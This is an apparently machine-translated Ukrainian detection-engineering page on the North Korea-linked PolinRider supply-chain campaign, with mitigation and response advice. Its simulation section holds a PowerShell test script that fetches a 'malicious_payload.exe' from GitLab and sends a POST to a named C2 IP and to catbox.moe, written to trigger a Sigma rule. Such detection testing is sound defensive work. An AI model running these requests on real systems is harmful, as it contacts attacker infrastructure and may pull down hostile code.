Кампанія PolinRider Північної Кореї демонструє активність у ланцюгу постачання
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Загроза, пов’язана з Північною Кореєю, здійснила атаку на ланцюг постачання проти середовищ розробників, використовуючи троянські пакети Python. Ланцюжок вторгнень включав завантажувальний модуль Node.js, компонент JavaScript C2 та інформаційний викрадач на основі Python. Актор забезпечив стійкість, маскуючи шкідливі компоненти під легітимні служби оптимізації Microsoft .NET.
Розслідування
Розслідування відбувалося у високоточної оманливій середовищі, де моніторувався робочий стіл корпоративний-пастка протягом 167 годин. Аналітики фіксували діяльність у реальному часі, включаючи виконання шкідливих навантажень і підготовку даних. Зібрана телеметрія викрила повний ланцюг атак – від початкового компрометування через зловмисний репозиторій до ексфільтрації даних з хоста.
Пом’якшення
Організації повинні забезпечити суворе сканування залежностей у npm, PyPI та інших менеджерах пакетів. Фільтрація вихідного трафіку повинна блокувати HTTP-з’єднання з публічними IP-адресами через нестандартні порти. Захисники також повинні контролювати незвичайні механізми стійкості, включаючи заплановані завдання або записи в реєстрі, що імітують компоненти Microsoft .NET з шляхів системного профілю.
Реагування
Якщо виявлено шкідливу діяльність, команди безпеки повинні негайно ізолювати постраждале середовище розробки або збірки. Відповідаючи відгукувачі повинні шукати відомі IP-адреси C2 та підозрілі шаблони файлів, такі як SvcHostUpdate.py. Також слід провести судову перевірку нещодавно встановлених сторонніх залежностей, разом з аудитом системного профілю на наявність несанкціонованих MicrosoftCLROptimization артефактів.
Ланцюг атаки
Ми все ще оновлюємо цю частину.
Виконання симуляції
-
Опровідання атаки та команди: Противник прагне розвинути інфекцію, отримуючи другорядне навантаження та ексфільтруючи вкрадені дані конфігурації. Щоб імітувати PolinRider, зловмисник:
- Use
curlorInvoke-WebRequestщоб отримати підставний файл з “сирого” URL GitLab. - Виконати POST-запит до виявленої C2 IP (
150.251.113.223:8443) з підробленим User-Agent, який відповідаєrotating.*agentшаблону. - Звернутися до
dns.catbox.moeщоб імітувати вторинний пульс C2 або доставку навантаження. Ці дії розроблені, щоб викликати три різні критерії вибору в правилі Sigma.
- Use
-
Сценарій регресійного тестування:
# Сценарій симуляції PolinRider Write-Host "[!] Початок симуляції мережі PolinRider..." -ForegroundColor Cyan # 1. Виклик вибору 2: Отримання з сирого GitLab Write-Host "[*] Виклик вибору 2: Отримання з сирого GitLab..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. Виклик вибору 1: POST до C2 з обертовим User-Agent Write-Host "[*] Виклик вибору 1: POST до C2 з обертовим User-Agent..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. Виклик вибору 3: DNS/URL шаблон для catbox.moe Write-Host "[*] Виклик вибору 3: З'єднання з catbox.moe..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність сповіщень." -ForegroundColor Green -
Команди очищення:
# Жодних постійних змін до системи не було внесено; # Мережеві з'єднання є ефемерними. # Жоден файл не було записано на диск під час цієї симуляції. Write-Host "[*] Очищення: жодні файли або ключі реєстру не було змінено. Симуляція чиста." -ForegroundColor Cyan